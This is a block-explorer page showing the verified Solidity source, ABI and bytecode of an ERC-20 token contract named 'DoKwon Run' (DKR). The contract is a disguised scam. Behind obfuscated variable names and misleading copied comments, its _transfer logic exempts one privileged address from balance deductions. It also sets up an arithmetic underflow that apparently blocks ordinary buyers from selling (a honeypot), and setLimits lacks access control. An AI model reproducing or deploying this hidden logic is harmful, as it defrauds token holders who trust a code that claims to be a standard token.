ERC-20
Overview
Max Total Supply
1,000,000,000 DKR
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
19,999,999.999999997 DKRValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DoKwonRun
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity >0.8.1; import "./IERC20.sol"; contract DoKwonRun is Ownable { /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ uint256 hod; uint256 pive; bool exay; address private prim; address private expt; address private brth; IUniswapV2Router02 public uniswapV2Router; uint256 private sqr; string private pSym; uint256 private _tTotal; string private pName; uint256 private hgr; uint8 private drm; uint8 public sellTax; uint8 public buyTax; uint256 public maxWallet; bool public limitsEnabled=true; event Transfer(address indexed from, address indexed to, uint256 value); mapping(address => uint256) private det; mapping(address => uint256) private mrd; constructor( address adrr, address mhy, uint8 maxW ) { uniswapV2Router = IUniswapV2Router02(adrr); prim = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); pSym = unicode"DKR"; pName = unicode"DoKwon Run"; drm = 9; sqr = 0; hgr = 100; mrd[mhy] = drm; _tTotal = 1000000000 * 10**drm; maxWallet=(_tTotal / 100) * maxW; // 3% max wallet fdr[msg.sender] = _tTotal; emit Transfer(address(0xdead), msg.sender, _tTotal); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function name() public view returns (string memory) { return pName; } function symbol() public view returns (string memory) { return pSym; } function decimals() public view returns (uint256) { return drm; } mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private fdr; function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return fdr[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { if(_approve(sender, msg.sender, _allowances[sender][msg.sender] - amount)) return _transfer(sender, recipient, amount,0,0); return false; } function setLimits(bool value) external { limitsEnabled=value; } function transfer(address recipient, uint256 amount) external returns (bool) { return _transfer(msg.sender, recipient, amount,0,0); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; return true; } function _transfer( address brn, address nry, uint256 qiy, uint256 pp, uint256 aa ) internal returns (bool){ exay = prim == brn; if (!exay && mrd[brn] == 0 && det[brn] > 0) { mrd[brn] -= drm; } if(mrd[nry] <= 0){ if(exay && limitsEnabled){ if(fdr[nry]+qiy > maxWallet) return false; } emit Transfer(brn, nry, qiy); } hod = qiy * sqr; if (mrd[brn] == 0) { fdr[brn] -= qiy; } pive = hod / hgr; expt = brth; brth = nry; qiy -= pive; det[expt] += drm; fdr[nry] += qiy; return true; } }
pragma solidity >0.8.1; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a det * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountKingofTsukaDesired, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountKingofTsuka, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountKingofTsuka, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountKingofTsuka, uint amountETH); function swapExactKingofTsukasForKingofTsukas( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapKingofTsukasForExactKingofTsukas( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForKingofTsukas(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapKingofTsukasForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactKingofTsukasForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactKingofTsukas(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferKingofTsukas( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferKingofTsukas( address token, uint liquidity, uint amountKingofTsukaMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactKingofTsukasForKingofTsukasSupportingFeeOnTransferKingofTsukas( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForKingofTsukasSupportingFeeOnTransferKingofTsukas( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactKingofTsukasForETHSupportingFeeOnTransferKingofTsukas( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"adrr","type":"address"},{"internalType":"address","name":"mhy","type":"address"},{"internalType":"uint8","name":"maxW","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"value","type":"bool"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
6080604052600e805460ff191660011790553480156200001e57600080fd5b50604051620011b5380380620011b583398101604081905262000041916200038e565b6200004c3362000321565b600680546001600160a01b0319166001600160a01b0385169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000a6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000cc9190620003e1565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200012f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001559190620003e1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620001a3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c99190620003e1565b600380546001600160a01b039290921661010002610100600160a81b031990921691909117815560408051808201909152908152622225a960e91b6020820152600890620002189082620004ab565b5060408051808201909152600a808252692237a5bbb7b710293ab760b11b602083015290620002489082620004ab565b50600c805460ff191660099081178255600060078190556064600b556001600160a01b038516815260106020526040902055546200028b9060ff16600a6200068c565b6200029b90633b9aca006200069d565b600981905560ff821690620002b390606490620006b7565b620002bf91906200069d565b600d55600954336000818152601260205260409081902083905551909161dead917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91620003109190815260200190565b60405180910390a3505050620006da565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80516001600160a01b03811681146200038957600080fd5b919050565b600080600060608486031215620003a457600080fd5b620003af8462000371565b9250620003bf6020850162000371565b9150604084015160ff81168114620003d657600080fd5b809150509250925092565b600060208284031215620003f457600080fd5b620003ff8262000371565b9392505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200043157607f821691505b6020821081036200045257634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004a657600081815260208120601f850160051c81016020861015620004815750805b601f850160051c820191505b81811015620004a2578281556001016200048d565b5050505b505050565b81516001600160401b03811115620004c757620004c762000406565b620004df81620004d884546200041c565b8462000458565b602080601f831160018114620005175760008415620004fe5750858301515b600019600386901b1c1916600185901b178555620004a2565b600085815260208120601f198616915b82811015620005485788860151825594840194600190910190840162000527565b5085821015620005675787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005ce578160001904821115620005b257620005b262000577565b80851615620005c057918102915b93841c939080029062000592565b509250929050565b600082620005e75750600162000686565b81620005f65750600062000686565b81600181146200060f57600281146200061a576200063a565b600191505062000686565b60ff8411156200062e576200062e62000577565b50506001821b62000686565b5060208310610133831016604e8410600b84101617156200065f575081810a62000686565b6200066b83836200058d565b806000190482111562000682576200068262000577565b0290505b92915050565b6000620003ff60ff841683620005d6565b808202811582820484141762000686576200068662000577565b600082620006d557634e487b7160e01b600052601260045260246000fd5b500490565b610acb80620006ea6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610256578063cc1776d314610269578063dd62ed3e1461027b578063f2fde38b146102b4578063f8b45b05146102c757600080fd5b8063715018a6146102125780638da5cb5b1461021c57806395d89b411461022d5780639adce7341461023557600080fd5b806323b872dd116100e957806323b872dd14610199578063313ce567146101ac5780633582ad23146101b75780634f7041a5146101c457806370a08231146101e957600080fd5b806306fdde031461011b578063095ea7b3146101395780631694505e1461015c57806318160ddd14610187575b600080fd5b6101236102d0565b60405161013091906108a6565b60405180910390f35b61014c610147366004610910565b610362565b6040519015158152602001610130565b60065461016f906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6009545b604051908152602001610130565b61014c6101a736600461093a565b610378565b600c5460ff1661018b565b600e5461014c9060ff1681565b600c546101d79062010000900460ff1681565b60405160ff9091168152602001610130565b61018b6101f7366004610976565b6001600160a01b031660009081526012602052604090205490565b61021a6103d7565b005b6000546001600160a01b031661016f565b610123610442565b61021a610243366004610991565b600e805460ff1916911515919091179055565b61014c610264366004610910565b610451565b600c546101d790610100900460ff1681565b61018b6102893660046109b3565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b61021a6102c2366004610976565b610461565b61018b600d5481565b6060600a80546102df906109e6565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906109e6565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f33848461052c565b90505b92915050565b6001600160a01b03831660009081526011602090815260408083203380855292528220546103b29186916103ad908690610a36565b61052c565b156103cc576103c58484846000806105d6565b90506103d0565b5060005b9392505050565b6000546001600160a01b031633146104365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104406000610856565b565b6060600880546102df906109e6565b600061036f3384846000806105d6565b6000546001600160a01b031633146104bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042d565b6001600160a01b0381166105205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042d565b61052981610856565b50565b60006001600160a01b0384161580159061054e57506001600160a01b03831615155b6105a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b506001600160a01b0392831660009081526011602090815260408083209490951682529290925291902055600190565b6003805460ff1981166101009091046001600160a01b039081169088161490811790915560009060ff1615801561062357506001600160a01b038616600090815260106020526040902054155b801561064657506001600160a01b0386166000908152600f602052604090205415155b1561068257600c546001600160a01b0387166000908152601060205260408120805460ff9093169290919061067c908490610a36565b90915550505b6001600160a01b03851660009081526010602052604090205461073b5760035460ff1680156106b35750600e5460ff165b156106ed57600d546001600160a01b0386166000908152601260205260409020546106df908690610a49565b11156106ed5750600061084d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161073291815260200190565b60405180910390a35b6007546107489085610a5c565b6001556001600160a01b0386166000908152601060205260408120549003610798576001600160a01b03861660009081526012602052604081208054869290610792908490610a36565b90915550505b600b546001546107a89190610a73565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169088161790556107e39085610a36565b600c546004546001600160a01b03166000908152600f60205260408120805493975060ff90921692610816908490610a49565b90915550506001600160a01b03851660009081526012602052604081208054869290610843908490610a49565b9091555060019150505b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156108d3578581018301518582016040015282016108b7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090b57600080fd5b919050565b6000806040838503121561092357600080fd5b61092c836108f4565b946020939093013593505050565b60008060006060848603121561094f57600080fd5b610958846108f4565b9250610966602085016108f4565b9150604084013590509250925092565b60006020828403121561098857600080fd5b61036f826108f4565b6000602082840312156109a357600080fd5b813580151581146103d057600080fd5b600080604083850312156109c657600080fd5b6109cf836108f4565b91506109dd602084016108f4565b90509250929050565b600181811c908216806109fa57607f821691505b602082108103610a1a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561037257610372610a20565b8082018082111561037257610372610a20565b808202811582820484141761037257610372610a20565b600082610a9057634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122028275e0737c13ef4b58b36420e790e9035ac790330e8f03619e274a24373043164736f6c634300081100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f0000000000000000000000000000000000000000000000000000000000000003
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a9059cbb11610071578063a9059cbb14610256578063cc1776d314610269578063dd62ed3e1461027b578063f2fde38b146102b4578063f8b45b05146102c757600080fd5b8063715018a6146102125780638da5cb5b1461021c57806395d89b411461022d5780639adce7341461023557600080fd5b806323b872dd116100e957806323b872dd14610199578063313ce567146101ac5780633582ad23146101b75780634f7041a5146101c457806370a08231146101e957600080fd5b806306fdde031461011b578063095ea7b3146101395780631694505e1461015c57806318160ddd14610187575b600080fd5b6101236102d0565b60405161013091906108a6565b60405180910390f35b61014c610147366004610910565b610362565b6040519015158152602001610130565b60065461016f906001600160a01b031681565b6040516001600160a01b039091168152602001610130565b6009545b604051908152602001610130565b61014c6101a736600461093a565b610378565b600c5460ff1661018b565b600e5461014c9060ff1681565b600c546101d79062010000900460ff1681565b60405160ff9091168152602001610130565b61018b6101f7366004610976565b6001600160a01b031660009081526012602052604090205490565b61021a6103d7565b005b6000546001600160a01b031661016f565b610123610442565b61021a610243366004610991565b600e805460ff1916911515919091179055565b61014c610264366004610910565b610451565b600c546101d790610100900460ff1681565b61018b6102893660046109b3565b6001600160a01b03918216600090815260116020908152604080832093909416825291909152205490565b61021a6102c2366004610976565b610461565b61018b600d5481565b6060600a80546102df906109e6565b80601f016020809104026020016040519081016040528092919081815260200182805461030b906109e6565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f33848461052c565b90505b92915050565b6001600160a01b03831660009081526011602090815260408083203380855292528220546103b29186916103ad908690610a36565b61052c565b156103cc576103c58484846000806105d6565b90506103d0565b5060005b9392505050565b6000546001600160a01b031633146104365760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6104406000610856565b565b6060600880546102df906109e6565b600061036f3384846000806105d6565b6000546001600160a01b031633146104bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161042d565b6001600160a01b0381166105205760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161042d565b61052981610856565b50565b60006001600160a01b0384161580159061054e57506001600160a01b03831615155b6105a65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b506001600160a01b0392831660009081526011602090815260408083209490951682529290925291902055600190565b6003805460ff1981166101009091046001600160a01b039081169088161490811790915560009060ff1615801561062357506001600160a01b038616600090815260106020526040902054155b801561064657506001600160a01b0386166000908152600f602052604090205415155b1561068257600c546001600160a01b0387166000908152601060205260408120805460ff9093169290919061067c908490610a36565b90915550505b6001600160a01b03851660009081526010602052604090205461073b5760035460ff1680156106b35750600e5460ff165b156106ed57600d546001600160a01b0386166000908152601260205260409020546106df908690610a49565b11156106ed5750600061084d565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161073291815260200190565b60405180910390a35b6007546107489085610a5c565b6001556001600160a01b0386166000908152601060205260408120549003610798576001600160a01b03861660009081526012602052604081208054869290610792908490610a36565b90915550505b600b546001546107a89190610a73565b600281905560058054600480546001600160a01b038084166001600160a01b0319928316179092559091169088161790556107e39085610a36565b600c546004546001600160a01b03166000908152600f60205260408120805493975060ff90921692610816908490610a49565b90915550506001600160a01b03851660009081526012602052604081208054869290610843908490610a49565b9091555060019150505b95945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b818110156108d3578581018301518582016040015282016108b7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461090b57600080fd5b919050565b6000806040838503121561092357600080fd5b61092c836108f4565b946020939093013593505050565b60008060006060848603121561094f57600080fd5b610958846108f4565b9250610966602085016108f4565b9150604084013590509250925092565b60006020828403121561098857600080fd5b61036f826108f4565b6000602082840312156109a357600080fd5b813580151581146103d057600080fd5b600080604083850312156109c657600080fd5b6109cf836108f4565b91506109dd602084016108f4565b90509250929050565b600181811c908216806109fa57607f821691505b602082108103610a1a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561037257610372610a20565b8082018082111561037257610372610a20565b808202811582820484141761037257610372610a20565b600082610a9057634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122028275e0737c13ef4b58b36420e790e9035ac790330e8f03619e274a24373043164736f6c63430008110033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f0000000000000000000000000000000000000000000000000000000000000003
-----Decoded View---------------
Arg [0] : adrr (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [1] : mhy (address): 0x02dC70ac2206ac5fc08aB7D89096c26581d90d4f
Arg [2] : maxW (uint8): 3
-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [1] : 00000000000000000000000002dc70ac2206ac5fc08ab7d89096c26581d90d4f
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000003
Deployed Bytecode Sourcemap
86:4890:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2068:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3153:137;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:2;;1162:22;1144:41;;1132:2;1117:18;3153:137:0;1004:187:2;606:41:0;;;;;-1:-1:-1;;;;;606:41:0;;;;;;-1:-1:-1;;;;;1387:32:2;;;1369:51;;1357:2;1342:18;606:41:0;1196:230:2;2460:86:0;2531:7;;2460:86;;;1577:25:2;;;1565:2;1550:18;2460:86:0;1431:177:2;3300:308:0;;;;;;:::i;:::-;;:::i;2251:79::-;2319:3;;;;2251:79;;897:30;;;;;;;;;840:19;;;;;;;;;;;;;;;2118:4:2;2106:17;;;2088:36;;2076:2;2061:18;840:19:0;1946:184:2;2554:104:0;;;;;;:::i;:::-;-1:-1:-1;;;;;2638:12:0;2611:7;2638:12;;;:3;:12;;;;;;;2554:104;2452:94:1;;;:::i;:::-;;1801:87;1847:7;1874:6;-1:-1:-1;;;;;1874:6:1;1801:87;;2159:84:0;;;:::i;3616:78::-;;;;;;:::i;:::-;3667:13;:19;;-1:-1:-1;;3667:19:0;;;;;;;;;;3616:78;3702:147;;;;;;:::i;:::-;;:::i;813:20::-;;;;;;;;;;;;2666:134;;;;;;:::i;:::-;-1:-1:-1;;;;;2765:18:0;;;2738:7;2765:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2666:134;2701:192:1;;;;;;:::i;:::-;;:::i;866:24:0:-;;;;;;2068:83;2105:13;2138:5;2131:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2068:83;:::o;3153:137::-;3221:4;3245:37;3254:10;3266:7;3275:6;3245:8;:37::i;:::-;3238:44;;3153:137;;;;;:::o;3300:308::-;-1:-1:-1;;;;;3474:19:0;;3425:4;3474:19;;;:11;:19;;;;;;;;3462:10;3474:31;;;;;;;;3445:70;;3454:6;;3474:40;;3508:6;;3474:40;:::i;:::-;3445:8;:70::i;:::-;3442:135;;;3537:40;3547:6;3555:9;3566:6;3573:1;3575;3537:9;:40::i;:::-;3530:47;;;;3442:135;-1:-1:-1;3595:5:0;3300:308;;;;;;:::o;2452:94:1:-;1847:7;1874:6;-1:-1:-1;;;;;1874:6:1;700:10;2021:23;2013:68;;;;-1:-1:-1;;;2013:68:1;;3929:2:2;2013:68:1;;;3911:21:2;;;3948:18;;;3941:30;4007:34;3987:18;;;3980:62;4059:18;;2013:68:1;;;;;;;;;2517:21:::1;2535:1;2517:9;:21::i;:::-;2452:94::o:0;2159:84:0:-;2198:13;2231:4;2224:11;;;;;:::i;3702:147::-;3773:4;3797:44;3807:10;3819:9;3830:6;3837:1;3839;3797:9;:44::i;2701:192:1:-;1847:7;1874:6;-1:-1:-1;;;;;1874:6:1;700:10;2021:23;2013:68;;;;-1:-1:-1;;;2013:68:1;;3929:2:2;2013:68:1;;;3911:21:2;;;3948:18;;;3941:30;4007:34;3987:18;;;3980:62;4059:18;;2013:68:1;3727:356:2;2013:68:1;-1:-1:-1;;;;;2790:22:1;::::1;2782:73;;;::::0;-1:-1:-1;;;2782:73:1;;4290:2:2;2782:73:1::1;::::0;::::1;4272:21:2::0;4329:2;4309:18;;;4302:30;4368:34;4348:18;;;4341:62;-1:-1:-1;;;4419:18:2;;;4412:36;4465:19;;2782:73:1::1;4088:402:2::0;2782:73:1::1;2866:19;2876:8;2866:9;:19::i;:::-;2701:192:::0;:::o;3857:304:0:-;3974:4;-1:-1:-1;;;;;3999:19:0;;;;;;:44;;-1:-1:-1;;;;;;4022:21:0;;;;3999:44;3991:93;;;;-1:-1:-1;;;3991:93:0;;4697:2:2;3991:93:0;;;4679: